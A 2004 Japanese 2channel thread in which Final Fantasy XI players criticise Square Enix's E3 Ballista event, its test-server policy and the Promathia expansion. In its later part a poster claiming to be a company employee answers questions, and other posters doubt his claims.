今思えば最後で最大の足掻きだったか
もう同じ事が起きてもあれだけ擁護する人間は現れそうにない

649 :既にその名前は使われています:04/12/06 12:52:30 ID:rq0zbUV8
>>642
ほれ。当時の状況SS↓池沼が沸いてるようだが。
ttp://tune.ache-bang.com/~vg/modules/gsbbs_six/

650 :既にその名前は使われています:04/12/06 13:06:32 ID:ZNkM0CSa
普段はフィルタかけるなり、ブラックリスト入れろで門前
払いの癖にこれだからなぁ。

651 :既にその名前は使われています:04/12/06 13:08:27 ID:SxKqnigG
>>650
■eに苦情の電話をしろ

652 :既にその名前は使われています:04/12/06 13:12:21 ID:rq0zbUV8
E3の頃はまだユーザーが元気で、ネ実にも活気があったが・・・
正直祭りが一番楽しいイベントなFFXIでしたとさ。

653 :既にその名前は使われています:04/12/06 13:15:16 ID:jk0g1ngC
>>650
GM側の見解では不特定多数に対してはアウトで
一個人に対する場合はOKということらしい。

654 :既にその名前は使われています:04/12/06 13:17:39 ID:IUWEph8a
ttp://mmodeiroiro.sakura.ne.jp/wiki/index.php?%A5%B5%A5%DD%C1%EB%A4%CF%C0%CE%A4%AB%A4%E9%A5%A2%A5%EC%BB%C5%CD%CD%A4%C0%A4%C3%A4%BF
●>苦情をいれた
■>そんな報告はうけてない、おまえが悪い
●>自分で問題を回避した。とりあえずユーザーの義務だから報告してやろう
■>頻繁に報告があがってる。どうやって回避したか教えろ
●>・・・・・・

655 :既にその名前は使われています:04/12/06 13:19:44 ID:8s0paCX7
こいつら身勝手すぎ。とても企業の対応とは思えん。

656 :既にその名前は使われています:04/12/06 13:29:17 ID:rq0zbUV8
>>653
漏れは本当にジュノの真中でGMコールして
sayとemoの五月蝿いのが居るってコールしたら「フィルターを(ry
って言われた。禿ガルで言われた事を引き合いに出したら、
GMが判断するとさw んで、判断基準を尋ねたら答えられないと来たw
\モウ/    \ね/  \ アボカド /  \ 馬 /  \ 鹿 /  \ カト /
                                    ∩   ∩
                                    | つ  ⊂|
    ∩;;;∩                      ∧ノ~       ! ,'っ _c,!
  (Y;;;;;;;;;;ヽノ)             ヽ         .ミ| ・  \    ⊂/  ・  \
   i;;;;;;;;;;゚;;;゚ヽ           γ⌒^ヽ     ミ|   ... '_)   | __,,▼     ∫
/;;;;;;\;;;;'⌒)           /::::::::::::::ヽ . . .ミ| (,,゚Д゚)     |・ (,,゚Д゚)    (,,゚Д゚)
 )|;;;;;;;;(,,゚Д゚)    .(⌒)(⌒)  /.:::::::::(,,゚Д゚) . . . | (ノ  |)     | (ノ  |)  ⊂三つ: つ ババンバ
 ι|;;;;;;;つ ;;;/つ  ( ・Å・)  i::::::(ノDole|)    .|  馬 |      |・・ .鹿 |      ||||||||   バン
  ヽ..;;;;;;;;/   γ⌒ ( ゚Д゚))  ゙、:::::::::::::ノ     人.._,,,,ノ    ι・,,__,ノ       |  |     バン
    U"U  乂_) UU     U"U        U"U       U"U         U"U :y=-( ゚д゚)・∵;; バーン

657 :既にその名前は使われています:04/12/06 13:33:28 ID:SMIYrb8o
がんばったな・・ゴラァの人・・。

658 :既にその名前は使われています:04/12/06 13:53:00 ID:Uh2y9pK7
>>656
判断基準?そんなの明確ジャン
「■eにとって都合がいいか悪いか」
これがすべてさ

659 :既にその名前は使われています:04/12/06 14:04:58 ID:rq0zbUV8
あーあ、Dokaka祭りもE3も面白かったなぁ。
嫌う人も居るけど、やっぱり■がまともなイベントをしない事と
ユーザーの絆がイベントに成ってる訳で、MMOというオンラインゲーム本来の楽しさがあった。
漏れがもう少し早くFFを始めていればでで汚祭にも行けたんだが。楽しかったろうなぁw
もちろん、それが祭の目的ではないんだけどね。

660 :既にその名前は使われています:04/12/06 14:16:12 ID:hvtSzO6r
E3の問題点はそれだけでなく
E3はテスト鯖でバリスタやればいいのに課金運営されてる既存鯖でやったこと。
しかもチートキャラとそのキャラがもつギルを使ってバリスタを行い、
微量だけど勝利報酬のギルが課金ユーザーに流出したとだと思うけどな。

661 :既にその名前は使われています:04/12/06 14:30:00 ID:NxO0Ri46
>>630
>そんなにバリスタさせたいの?なんで?
これは割と簡単な理由で説明できる

●<PvPねえのかよ糞!PvPやらせろ!
■<バリスタを実装しました
●<バリスタつまんねえええええええ!!!!!11!!イラネ!!!!1
■<バリスタが好評で嬉しい
●<バリスタイラネ
■<バージョンアップでバリスタに修正が入りました
●<バリスタイラネ
■<バージョンアップでバリスタに修正が入りました
●<バリスタ糞
■<やれ
●<やらない
■<やれ

662 :既にその名前は使われています:04/12/06 14:31:38 ID:SMIYrb8o
理由いっこもねーじゃんよw

663 :既にその名前は使われています:04/12/06 14:33:18 ID:8s0paCX7
■ < アーアーキコエナーイ 大変好評で嬉しい

664 :ワルキューレ ◆mci....ll. :04/12/06 14:34:24 ID:7RFctU2S
●<ねえ聞いて

665 :既にその名前は使われています:04/12/06 14:36:05 ID:SMIYrb8o
■< ユーザーがバリスタに慣れてない、ナレテナイ、ナレテーナーイー

666 :ワルキューレ ◆mci....ll. :04/12/06 14:39:03 ID:7RFctU2S
●<ちょっと聞きなさいよwww

667 :既にその名前は使われています:04/12/06 14:40:32 ID:kI+4KvRy
任天堂関連に勤めるリアフレの話によると
任天堂社員(下請けは特に)はネ実でFFの評判を落とす為のカキコミノルマがあるらしい。
ご苦労なこった・・・

668 :既にその名前は使われています:04/12/06 14:41:19 ID:rq0zbUV8
わざわざ工作する必要なんて無いのにw

669 :既にその名前は使われています:04/12/06 14:42:14 ID:SMIYrb8o
まるでないなw

670 :既にその名前は使われています:04/12/06 14:42:16 ID:NxO0Ri46
>>662
ごめw

■<バリスタが好評で嬉しい

■はこれを言いたいだけなんだよw

671 :既にその名前は使われています:04/12/06 14:42:53 ID:EJV2G39U
>>667
もうちょっとひねろうぜwww

672 :既にその名前は使われています:04/12/06 14:43:33 ID:hvtSzO6r
そういやあのLSの人たち

発売前にドラクエ手に入ったのかな?w

673 :既にその名前は使われています:04/12/06 14:46:47 ID:NxO0Ri46
>>672
どうせ、フラゲしても雑誌やネットの攻略情報を待ってたんじゃないかなあw
なんて想像してるw

674 :既にその名前は使われています:04/12/06 14:47:22 ID:Ht+UreAc
\モウ/    \ね/  \ アボカド /  \ 馬 /  \ 鹿 /  \ カトー/
                                     ∩   ∩
                                     | つ  ⊂ |
    ∩;;;∩                       ∧ノ~        !,'っ _ c,!
  (Y;;;;;;;;;;ヽノ)               ヽ         ミ| ・  \    ⊂/  ・  \
   i;;;;;;;;;;゚;;;゚ヽ            γ⌒^ヽ     ミ|   ... '_)   | __,,▼     ∫
/;;;;;;\;;;;'⌒)            /::::::::::::::ヽ    ミ| (,,゚Д゚)     | (,,゚Д゚)    (,,゚Д゚)
 )|;;;;;;;;(,,゚Д゚)    .(⌒)(⌒)   /.:::::::::(,,゚Д゚)    | (ノ  |)     | (ノ  |)  ⊂三つ: つ ババンバ
 ι|;;;;;;;つ ;;;/つ  ( ・Å・)  i::::::(ノDole|)    .|  馬 |      |  .鹿 |      ||||||||   バン
  ヽ..;;;;;;;;/   γ⌒ ( ゚Д゚))  ゙、:::::::::::::ノ     人.._,,,ノ    ι ,,__,ノ       |  |     バン
    U"U   乂 _) UU     U"U        U"U       U"U        U"U :y=-( ゚д゚)・∵;; バーン


675 :(       ´∀`) ◆b7HaGeBCho :04/12/06 14:50:56 ID:U5lrqZfi
ドラクエの攻略スレありますけど、
イベントでNPCが話す重要な会話も聞いてないのですよね。
最近のプレイヤーはぬるぽというかなんというか。
キレイなグラフィックなら会話はどうでもいいのでしょうか。

676 :既にその名前は使われています:04/12/06 14:53:18 ID:LLoZZExY
>>675
むしろ、会話を読んでなくても攻略できるように配慮しないといけいない
というのを分かっているから読まない。
FF11は違うけどなー。

677 :既にその名前は使われています:04/12/06 14:53:21 ID:IUWEph8a
E3の根本的な問題点は課金ユーザーにダマテン決め込んで、
E3のプロモーション用ユーザーキャラクターでバリスタさせて、
それを大好評とか言おうとしたこと。

つうかあんな時間変更自体おかしい。まじであるのか?テスト鯖?
開発鯖とテスト鯖は別モンだということがわかると思うが

678 :既にその名前は使われています:04/12/06 14:58:23 ID:SMIYrb8o
>>675
MMOですらそうですよ。
ただ、FFの場合会話聞いてるだけでは、ぜったいたどりつかない場所にトリガーとかありますけど。
プロマシアのノーヒントで、クフィム塔はいるとスタートってありゃなんだ。
偶然以外の方法であそこだってわかった奴いねーと思うぞ。。普通の感覚だと。

つか、そろそろ、ちぢめ。

679 :既にその名前は使われています:04/12/06 15:12:34 ID:MkBzjic5
>>677
テスト鯖はオフラインなのでは?
赤マート修正時のコメントもオンラインでテストしてないようなこと言ってたし。
まあ、ちゃんとテストしてないのは過去の事例から明らかだが。
ケアル1でタゲ固定とか、<stnpc>とか、ミミズ爆走とか…

680 :既にその名前は使われています:04/12/06 15:16:06 ID:1Vn86MWY
●<テスト鯖あるのにテストしないのは何故?

681 :既にその名前は使われています:04/12/06 15:16:24 ID:z76eyNjx
●無駄エリア大杉です>■バリスタ実装で回避した。
●合成が死んでる>■生産品クエと特殊合成で回避した。
●特定ジョブが有利すぎ>■空蝉弱体で回避した。
●パーティーなかなか組めない>■おまかせパーティー機能で回避した。
●カンストしたのでマッタリと楽しみたいです>■メリポ追加しまくったので回避した。
●外人がキティガイtellしてきた>■ブラックリストで回避した。
●外人がキティガイshout連呼してるぞ>■チャットフィルターで回避した。
●外人とパーティー組みたくないんだけど>■好評でとてもうれしいので回避した。
●プロマシアミッションが特定ジョブ以外不要なんですが>■テストではそんな筈はないので回避した。
■ミッション難易度を緩和した>●裏パッチでボス鬼強にしたツケですか?>■そんな事実はないので回避した。
●ログイン者数減りまくってます>■ドラゴンクエスト8もFF同様好評でとてもうれしいので回避した。

682 :既にその名前は使われています:04/12/06 15:22:03 ID:rq0zbUV8
>>679
■の問題はどうでも良い。ユーザーは金を払って遊んでる訳で。
だから、■がE3でオナヌーしたいんだったら、課金ユーザーの居ない鯖でやれと。
それが出来ないなら謙ってユーザーにお願いしろと。
■<E3でFFを試遊を行いますので、未来の冒険者仲間を歓迎してあげてください
とか何とか発表するだけど良かったのに、ユーザーを変にライバル視というか、
挑戦者扱いしてるから、何も言わずに邪魔者を排除する事になって、益々敵視されるというループ。

683 :既にその名前は使われています:04/12/06 15:22:41 ID:A3T8kyG/
■<あ?テストサーバ?お前らがやってる数々のサーバがテストサーバだよwwwwww

とか■eの中の人は言ってそうな悪寒

684 :既にその名前は使われています:04/12/06 15:23:08 ID:8s0paCX7
■って明らかにユーザーを毛嫌いしてる

685 :既にその名前は使われています:04/12/06 15:23:14 ID:MkBzjic5
■<開発工程の削減だ。ユーザーにテストさせることにより問題は回避している。

686 :既にその名前は使われています:04/12/06 15:24:04 ID:t/PKHexV
無能なヤツほど変なプライド持ってるもんなんだよ

687 :既にその名前は使われています:04/12/06 15:25:54 ID:SMIYrb8o
■<かねてから要望あった言語別鯖を導入するよろこべ
●<…。
■<なお、パッチ等は日本鯖を優先する。
●<…モルモット?
■<ヤカマシイ

688 :既にその名前は使われています:04/12/06 15:26:57 ID:XHnl5GZw
EQ2は開始一月待たずにテスト鯖がオープンしたというのに・・・
しかもEQ2プレイヤーは全員自由に参加可能ですよ。

689 :既にその名前は使われています:04/12/06 15:28:13 ID:HzI5Z1rt
■<FF11は次回作のMMOの為の有料テストです^^

690 :既にその名前は使われています:04/12/06 15:33:25 ID:hvtSzO6r
●<テスト鯖導入して
■<PS2だと無理PC版のみなら・・・・
●<それはおかしいんじゃない?
■<おまいらが文句言うからテスト鯖やめた
●<・・・・

光<信onテスト鯖導入しました PS2でも入れるようになります
●<え?■はできないっていってたのに・・・
■<(やべ、ウソついてたのばれた)


691 :既にその名前は使われています:04/12/06 15:36:40 ID:rq0zbUV8
コエ<(* ̄m ̄)=3プッ

692 :既にその名前は使われています:04/12/06 15:51:09 ID:XjTIJ4Hh
ttp://mmodeiroiro.sakura.ne.jp/wiki/index.php?%A5%B5%A5%DD%C1%EB%A4%CF%C0%CE%A4%AB%A4%E9%A5%A2%A5%EC%BB%C5%CD%CD%A4%C0%A4%C3%A4%BF
●>苦情をいれた
■>そんな報告はうけてない、おまえが悪い
●>自分で問題を回避した。とりあえずユーザーの義務だから報告してやろう
■>頻繁に報告があがってる。どうやって回避したか教えろ
●>・・・・・・
↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
まあ、モルモットだな。
むしろ、ボールのパイロットに任命されてる。間違いない。

693 :既にその名前は使われています:04/12/06 16:59:32 ID:XjTIJ4Hh
ageとく

694 :既にその名前は使われています:04/12/06 17:40:17 ID:6AJrY2IN
age

695 :既にその名前は使われています:04/12/06 17:42:36 ID:wiMm8Zrz
12/9まで@3日。

それまでにプロマシアミッション進めといたが良いかもしれない。
「悪化」する可能性は低くないからなw

696 :既にその名前は使われています:04/12/06 17:46:20 ID:z+ac3m9k
メイン・サポ共にジラジョブ抜きで、
お手軽に攻略できるくらいのバランスにならん限り
やらないし、やる気もおきない。

697 :既にその名前は使われています:04/12/06 17:53:10 ID:hUnMkH2M
>>690
そういやテスト鯖作らない代わりに、リアルヴァナでお試し会みたいの
やってたな。
あれ以来そんなことやってないよねぇw

698 :既にその名前は使われています:04/12/06 17:57:01 ID:XHnl5GZw
>>697
テスト鯖作らない代わりのリアルヴァナテストプレイだった筈なのに。
裏、バリスタを振り返ると全く意味無し。
ていのいい宣伝に使っただけ。
バリスタなんて稼動鯖で長期テストしちゃうくらいだし。
そしてなあなあのまま、今は放置。

高速タップ田中の真骨頂ですね。

699 :既にその名前は使われています:04/12/06 18:14:43 ID:p2CyC2l0
>>687
正直、それは神運営な気がする。


700 :既にその名前は使われています:04/12/06 18:17:04 ID:yW0FFJYt
どこらへんが?

701 :既にその名前は使われています:04/12/06 18:50:35 ID:L8HYx7fm
>>699
NA導入の時点で言語別鯖は作るべきだった。今さら感が強すぎ。
神というより紙運営ですよ。

702 :既にその名前は使われています:04/12/06 18:55:52 ID:gF3xlpMw
>>701
紙一重ってか

703 :し社員:04/12/06 18:59:10 ID:1zhEKVbI
この度はプロマシアをプレイしていただき誠にありがとうございます。
色々なご意見、ご感想があるようなので
何でも質問どうぞ。

704 :■社員:04/12/06 19:10:17 ID:1zhEKVbI
特に何もないようですね

705 :既にその名前は使われています:04/12/06 19:11:20 ID:sIAPsQFo
>>703
テスト時にはどういう構成でプロミボンに挑んだんですか?

706 :■社員:04/12/06 19:14:27 ID:1zhEKVbI
私は詳しくは知りませんが、
薬などは当然のように使用はしております。
その上、アニマは全キャラ持参でクリア可能となっており
テストプレイでは固定PTですし、
内容を把握した上でのプレイですから
難易度が通常プレイ(野良PTなどですね)よりも簡単だったかもしれません。
また、テスト後に修正され難易度が上がったという話も聞いておりますが
詳しくは私は知りません。


707 :■社員:04/12/06 19:18:24 ID:1zhEKVbI
今回問題に低レベル者でも遊べるという点ですが
このゲームはオフラインのようなゲームではなくオンラインのゲームなわけです。
テーマが絆ということもあり。
高レベルの方などの経験者が低レベル者をサポートし
一緒に攻略していくというものを期待しておりました。
そこで高レベル者の方と低レベル者の方の接点を作り
そこから新しいコミュニケーションができてくる。
人と人のつながりでヴァナディールは広がっていく・・・
そういったものを期待していたのですが、
プロマシアが全て完成されておらず、あまり早く攻略されてもこまるとのこともあり
難易度が少し高めに結果的になってしまったと。


708 :■社員:04/12/06 19:20:12 ID:1zhEKVbI
結果的には、高レベル者が低レベル者をサポートしづらい状態に
プロマシアがなっていることは、改善すべき問題だと感じております。


709 :名無しさん ◆V00/Phqsn. :04/12/06 19:20:14 ID:1fN+RDMG
>>707
ちょっと田中呼んできてもらえますか?

710 :既にその名前は使われています:04/12/06 19:20:41 ID:SREbAsXm
>>702
紙は紙でも、強化ダンボールぐらいの一重だな

711 :■社員:04/12/06 19:22:19 ID:1zhEKVbI
会社からの書き込みではないのでできません。
田中さんも色々お考えのようですが
1人のプロデューサーとしてではなく
会社の社員として田中さんも動かないといけないことです。
田中さんも自分のしたいことが全てできていないというのも現実です。

712 :既にその名前は使われています:04/12/06 19:27:18 ID:cg2PCC24
会社というのはトップで決まるからな〜
トップが変(替)わらなければ会社の体質は変わらない

713 :既にその名前は使われています:04/12/06 19:28:33 ID:fZQ+Mknv
河豚さんはこのような事態になった今現在でも
野良PTで参加したりするなどして人を小馬鹿にしたような態度とりつづけてますか?

714 :既にその名前は使われています:04/12/06 19:28:49 ID:/bwZPgdj
証券屋にゲーム扱わせるのがそもそもの間違いだな。

715 :既にその名前は使われています:04/12/06 19:35:19 ID:TEZb/0K1
本物?

マジメに聴くが
1、プロマシアの4000円は高すぎだと思うんだが、どうしてこの値段設定?
2、明らかに人数が減ってきてるけど問題意識はあるの?
3、人口減はプロマシアが引き金になってるのは間違いないと思うんだが、責任はどう取るの?

答えられたら答えてー

716 :■社員:04/12/06 19:39:15 ID:1zhEKVbI
野良PTに参加したり普通に遊んでる社員もいますよ。
自分が作成に関わったゲームですから愛着も沸きますし、
ファイナルファンタジー11の場合は、ドラゴンクエスト[の発売時期を気にしながら
プロマシアの呪縛発売、その後ファイナルファンタジー12の発売とあるのですが
社内でも、オフラインゲームとオンラインゲームは敵対する位置にあるとの認識を
持っている面があるため、その関係でプロマシアの開発も遅れているのがありますね。

特に、当社の株の動きを見ていただいてもわかる通り。
投資家、株主の方々はファイナルファンタジーよりも
ドラゴンクエストに期待をしていらっしゃるようで
どうしてもファイナルファンタジーよりもドラゴンクエスト優先といった
流れが社内でもありました。これはファイナルファンタジー11のファンの方には
誠に申し訳ないと思っておりますが、どうしようもありませんでした。


717 :既にその名前は使われています:04/12/06 19:41:13 ID:qK/8wggc

で、つぎは12なわけですね。

どうしてもファイナルファンタジ11よりもファイナルファンタジー12優先といった
流れが社内でもありました。これはファイナルファンタジー11のファンの方には
誠に申し訳ないと思っておりますが、どうしようもありませんでした。


718 :既にその名前は使われています:04/12/06 19:51:06 ID:dsM/EjV9
>>712
トップをひきずり下ろす事は可能
>>716
つまり社員が寝釣りやってRMTやって、客を呼ぶときは
初めと終わりにクズをつけろと、くz・・客に■だから仕方無いと思わせたら勝ちと


719 :■社員:04/12/06 19:54:15 ID:1zhEKVbI
>>715
プロマシアの値段設定については
拡張ディスクとして発売するのでPS2他タイトル新作の
6800円(税抜き)価格よりも安く設定するということで
4000円程度。当初の予定よりボリュームが少なかったわけですが.

人口が減ってきておりますが、同時ログインの人数が減っているだけであり
アカウント登録者、課金していただいている方の人数は減っていないというのが現状です。
解約する方もいますが、毎月解約される方は必ずいますので。

ヴァナディールは進化し続ける世界です。
今後のバージョンアップに期待して下さいとしか言いようがなく
また、そのバージョンアップも全てのお客様に納得のいく
ものができず、残念ですが。
責任をとれ!と言われても困ります。
このような言い訳をするの申し訳ありませんが



720 :■社員:04/12/06 19:57:28 ID:1zhEKVbI
映画を見に行かれた場合、楽しめなかった。
そこで映画代を返せ!責任を取れ!といっても
映画会社としては何も対応できないというのと状況は同じです。

実はPS3への移行の開発が始まっております。
こちらに期待して下さいと、個人的には思います。

721 :既にその名前は使われています:04/12/06 20:00:43 ID:THHgo81t
>>720
となると・・・
打ち止め&開発はしないっていうことなのでしょうか?



722 :■社員:04/12/06 20:01:10 ID:1zhEKVbI
>>718
社内の者が不正を行っていた例もあるようです。
その方については適切な処分がされたようですが・・・

全ての社員がお客様をクズと思っていると思わないで下さい。

純粋に良いゲームを作りたい、みなさんに楽しんでもらいたいというのが
社員一同の思いです。

723 :既にその名前は使われています:04/12/06 20:00:44 ID:GvO+ZK83
普通これだけの規模の会社なら足の引っ張り合い位ありそうなんだが、
■ではそういうのは無いのか?

河豚がいまだノウノウとしてる辺り、程度が知れてるな。

724 :既にその名前は使われています:04/12/06 20:02:04 ID:dkqHHR/A
■にはもうPS3用の開発機材が届いているということか…。


それでテクモ社長のあの発言となる訳だねw

725 :■社員:04/12/06 20:06:35 ID:1zhEKVbI
>>721
今までのFF11の基本システムを利用し
それをPS3で動かせるようにする開発をしております。
これによってPS2では実現不可能だったことにも挑戦でき。
今以上にプレイヤーの方々が求めるFFになっていくと思います。

>>723
人事については私はどうこう言う立場ではありませんので

726 :既にその名前は使われています:04/12/06 20:08:18 ID:dB6C2lWg
騙りうざいよ

727 :既にその名前は使われています:04/12/06 20:08:35 ID:1aC4Y1iz

そんなん知るかw
申し訳ないと思ってるなら普通ナメタ真似できんわなw
つ・ら・れ・たぁぁん♪

728 :既にその名前は使われています:04/12/06 20:08:51 ID:THHgo81t
>>725
なるほどなるほど。
ところで・・・EQ2Jのβは12月中におこなわれるのでしょうかね?


729 :■社員:04/12/06 20:11:34 ID:1zhEKVbI
>>728
EQ2に関しては私は知りません。申し訳ありません。

>>724
既に仕様などはある程度情報が来ております。
テクモさんには来てなかったようですが。そこらへんはわかりません。

730 :既にその名前は使われています:04/12/06 20:13:23 ID:TEZb/0K1
>>■社員
PT必須のゲームなのに同時ログイン数が減っているのは大問題じゃないか?
ユーザーの立場になって考えるならば絶対に対処するべき問題だと思うんだが

課金ユーザーが「大して減ってない」と思うのか「100人も減った」と思うのか
大きな違いだと思うんだが。

731 :既にその名前は使われています:04/12/06 20:15:27 ID:yW0FFJYt
>人口が減ってきておりますが、同時ログインの人数が減っているだけであり
>アカウント登録者、課金していただいている方の人数は減っていない

コレで釣りだとわかちゃったでしょ

732 :既にその名前は使われています:04/12/06 20:15:46 ID:ZWCdBmjw
なかなか凝ったRPだ。スキル高い。
もうすこし別なことにその能力(ちから)使えませんか?

733 :既にその名前は使われています:04/12/06 20:19:07 ID:sKP/uCXl
今後、言語別サーバーをつくる可能性は0なん
ですか?

734 :■社員:04/12/06 20:19:48 ID:1zhEKVbI
>>730
ドラゴンクエスト[も当社の製品というのが問題だったのです。
オンラインゲームとオフラインゲームは対立するものであり
投資家、株主様はドラゴンクエスト[に期待しているということです。
つまりドラゴンクエスト[が売れるか売れないかは会社の命運がかかっているわけです。
なんとしてでもドラゴンクエスト[が売れる必要がありました。

ファイナルファンタジー11の経常利益を知っていますか?
それから見れば100人減ったところで影響はそれほどない。
それが上層部の考えのようです。

あなたの払う1400円と会社から見る1400円では大きく価値観が違うわけです。

それはお客様をなめているといわれるかもしれませんが。
会社とはそういうものであり、一社員としてはどうしようもありません。

735 :既にその名前は使われています:04/12/06 20:21:40 ID:NB7hkZ6n
テーマが絆って、アンチが叩く時にしか使われないもんだよな。
■e自体は絆を描いてるとか全く言ってないような。

736 :既にその名前は使われています:04/12/06 20:23:54 ID:yW0FFJYt
>>735
無かった事にしたいのかもしれないけど・・・事実だし
アンチの創作だと思うのは病的だと思う

737 :既にその名前は使われています:04/12/06 20:26:01 ID:NXgL9CEn
■内での田中や河豚の評判ってどんな感じなんですか?

738 :(       ´∀`) ◆b7HaGeBCho :04/12/06 20:26:17 ID:U5lrqZfi
ゴブリンとかの企画が事実上凍結されているのはどうしてですか?
さっさと再開してください。

739 :既にその名前は使われています:04/12/06 20:26:27 ID:JDqSXyOK
■社員の文面見るとアフォには書けない言い回しだな。

で、真の関係者だと期待して一つ聞きたいんですが

ここ2chを始めとするネット掲示板は社員で見て
それを開発の参考にしたり、上司である田中さんに
「こんな要望やこんな不満がユーザーが持っています」
と、伝えたりしますか?

740 :既にその名前は使われています:04/12/06 20:33:16 ID:UQrrf2UN
社員さんは何でこのスレに書き込もうと思ったの?
さすがに失敗スレが多すぎてキレた?

741 :既にその名前は使われています:04/12/06 20:37:30 ID:rq0zbUV8
>>739
会社員が■の社員だけな訳じゃあるまいし。
変な期待しない方が良い。本物だとしても、
何言ったって公式発表でもないしな。

742 :既にその名前は使われています:04/12/06 20:39:21 ID:1aC4Y1iz
■e社内で、プロマシアのデザインやグラフィックを手がけた人達から不満は出てないのですか?
ほとんどのユーザーはプロマシアを放棄して彼等のした仕事がまったく見られていないわけですが・・・
あと、PS3でグラフィックが綺麗になったとして、
開発費がFF11以上にかかって今以上に飼い殺しにされるのが目に見えてる次作に
FF11をやっていたユーザーが課金してくれると思いますか?
まあ、PS3がネットゲームに対応するかは判りませんけどねw

743 :既にその名前は使われています:04/12/06 20:39:45 ID:fZQ+Mknv
契約者が減ってないってあたりで社員じゃないと気づけよ

つーか人数把握してそうだから実際の数字だしてくれ、ここで
それで信じてやろう

744 :既にその名前は使われています:04/12/06 20:40:01 ID:UPNPJHK6
>>■社員
JPのログイン数は問題無いにしてもNAとかがかなり減ってそうだけど
減ってるよね?
NA向けのテコ入れとかやってたりするんでしょうか?

745 :既にその名前は使われています:04/12/06 20:40:24 ID:JDqSXyOK
>>741ネガティブって言われるでしょ?

746 :既にその名前は使われています:04/12/06 20:42:36 ID:rq0zbUV8
日本人だけで42万だったのが
今じゃ55万中半分しか日本人じゃないとか言ってたじゃん。
日本人半減だろ?w

>>741
ネガティブ?

747 :既にその名前は使われています:04/12/06 20:47:50 ID:rq0zbUV8
書き込んでから判った。

悲観的って意味ね?
物事を楽観的に、自分に有利に解釈して行動するのは愚か者のする事でつよ。
だから、「本物である事を期待」するのはアホ。そうじゃなくて「本物である場合に備えて」
というべき。

748 :既にその名前は使われています:04/12/06 20:49:14 ID:TEZb/0K1
>>■社員
なにも上層部の考えが聞きたいわけじゃないんだが、
今のFF11の問題点を理解して改善しようと考えてるヤツがいるかどうかだ
開発に関わってる末端の担当者ですら利益でているから問題ない等と思ってるわけじゃないだろ?

それと、ドラクエは関係ない
発売されたばかりだから話題になるだけだ

749 :既にその名前は使われています:04/12/06 20:48:56 ID:rq0zbUV8
書き込んでから判った。

悲観的って意味ね?
物事を楽観的に、自分に有利に解釈して行動するのは愚か者のする事でつよ。
だから、「本物である事を期待」するのはアホ。そうじゃなくて「本物である場合に備えて」
というべき。

750 :既にその名前は使われています:04/12/06 20:52:01 ID:JDqSXyOK
>>749そこまで頭回るのなら「本物である場合に備えて」
に脳内変換キボス

ほんとにそのとおり

751 :既にその名前は使われています:04/12/06 20:52:18 ID:rq0zbUV8
ぎゃー、やっちまった。
重くなってるから、失敗してもリロードしてチェックしてたのに。
反映されるのまで遅くなるとは(´・ω・`)

752 :既にその名前は使われています:04/12/06 20:52:48 ID:+y6o2sj8
企業の論理だけじゃ客はついてこないお
今は課金していても次にいくことは絶対ない
魂のこもったモノ作りはできんのかねぇ

753 :既にその名前は使われています:04/12/06 20:55:06 ID:TEZb/0K1
>>■社員
なにも上層部の考えが聞きたいわけじゃないんだが、
今のFF11の問題点を理解して改善しようと考えてるヤツがいるかどうかだ
開発に関わってる末端の担当者ですら利益でているから問題ない等と思ってるわけじゃないだろ?

それと、ドラクエ云々言ってるが
A製品は社運が掛かっているのでB製品は手を抜こう。ボルト6本使って止めるタイヤを人件費削減の為3本にしよう。
なんて事が本当にまかり通る会社なのか?

754 :既にその名前は使われています:04/12/06 20:56:03 ID:rq0zbUV8
>>750
ごめん、実践は出来てないんだw
そうたらんとはしてるんだけどね(´・ω・`)

755 :既にその名前は使われています:04/12/06 20:58:16 ID:fZQ+Mknv
>>751
なんか重くなってるのな、ネ実

756 :既にその名前は使われています:04/12/06 20:59:09 ID:TEZb/0K1
>>■社員
なにも上層部の考えが聞きたいわけじゃないんだが、
今のFF11の問題点を理解して改善しようと考えてるヤツがいるかどうかだ
開発に関わってる末端の担当者ですら利益でているから問題ない等と思ってるわけじゃないだろ?

それと、しきりにドラクエの話題出してるが、
粗悪品を売りつけられているって事を暗に言いたいのか?
どこぞの自動車メーカーみたいに

757 :既にその名前は使われています:04/12/06 21:00:52 ID:TEZb/0K1
うお、すまん3重になってる

重すぎorz

758 :■社員:04/12/06 21:01:21 ID:1zhEKVbI
>>742
FF11のPS3への移行についてですが開発がPS2よりも簡単にできるようになっているんです。
自分達でプログラミングしないといけないことが、すでにハードウェアに機能があるため
簡単に作れるといった具合です。これは開発費を抑えることになりますので。
ネットゲームであることは間違いないと思います。名前はFF11から変わる予定ですが
世界観などは引き継ぎます。また、レベルなどの引継ぎに関しては検討中です。

>>743
私の聞いている話ではそれほど解約者はいないとのことですが、
詳しい数は一社員である私ではわかりません。

>>748
改善したいと思っても、動けないのが事実ですね。
何でもかんでも好き勝手に作れるわけではないのです。
私自身はよくないと思っていても、動けませんので
結局、私達も雇われの社員ですので

759 :既にその名前は使われています:04/12/06 21:02:45 ID:m2ruMD9j
何でか分から無いけどホント月曜は社員っぽいのがポップしますね。

760 :既にその名前は使われています:04/12/06 21:03:09 ID:fZQ+Mknv
>詳しい数は一社員である私ではわかりません。
なら自信満々で語るな、見苦しい

761 :既にその名前は使われています:04/12/06 21:05:18 ID:1Vn86MWY
■社員といふブランド

762 :■社員:04/12/06 21:05:40 ID:1zhEKVbI
>>757
ドラゴンクエストが単に発売された直後だから話題に出しているわけではありません。
この半月の株価の動きを見てもらえばわかりますが
ドラゴンクエスト[を期待しての株買いが見られました。
ニュース番組を見てください。
ファイナルファンタジーがついに発売です!とニュースはありません。
ドラゴンクエスト発売です!といえばニュースに登場します。

このマスコミなどの動きからもわかるように、
一般的にドラゴンクエストの方が重要視されているのです。
それが当社内にも影響を与えると、
株主の方が、もースクウェアはいらないとなってしまうと

会社として成り立たなくなってしまうのですよ・・

763 :既にその名前は使われています:04/12/06 21:06:54 ID:ZWCdBmjw
スキル高いRPだな

764 :既にその名前は使われています:04/12/06 21:08:50 ID:JDqSXyOK
>>739も見てくれ〜

765 :既にその名前は使われています:04/12/06 21:08:57 ID:R0mN8ouo
ほんと、釣りにしても醜いよ。

まあアンチの描く社員像そっくりなのは笑えるがw

動けません・知りません・でも期待してくださいw

766 :既にその名前は使われています:04/12/06 21:08:57 ID:rq0zbUV8
>>762まで、■社員である証拠は何処にも無い。
もう少しそれっぽくしよーぜ。

>>758
楽観論は(ry

767 :既にその名前は使われています:04/12/06 21:10:02 ID:TEZb/0K1
>>■社員
段々とあんたが何を言いたいのか解らなくなってきてるんだが。

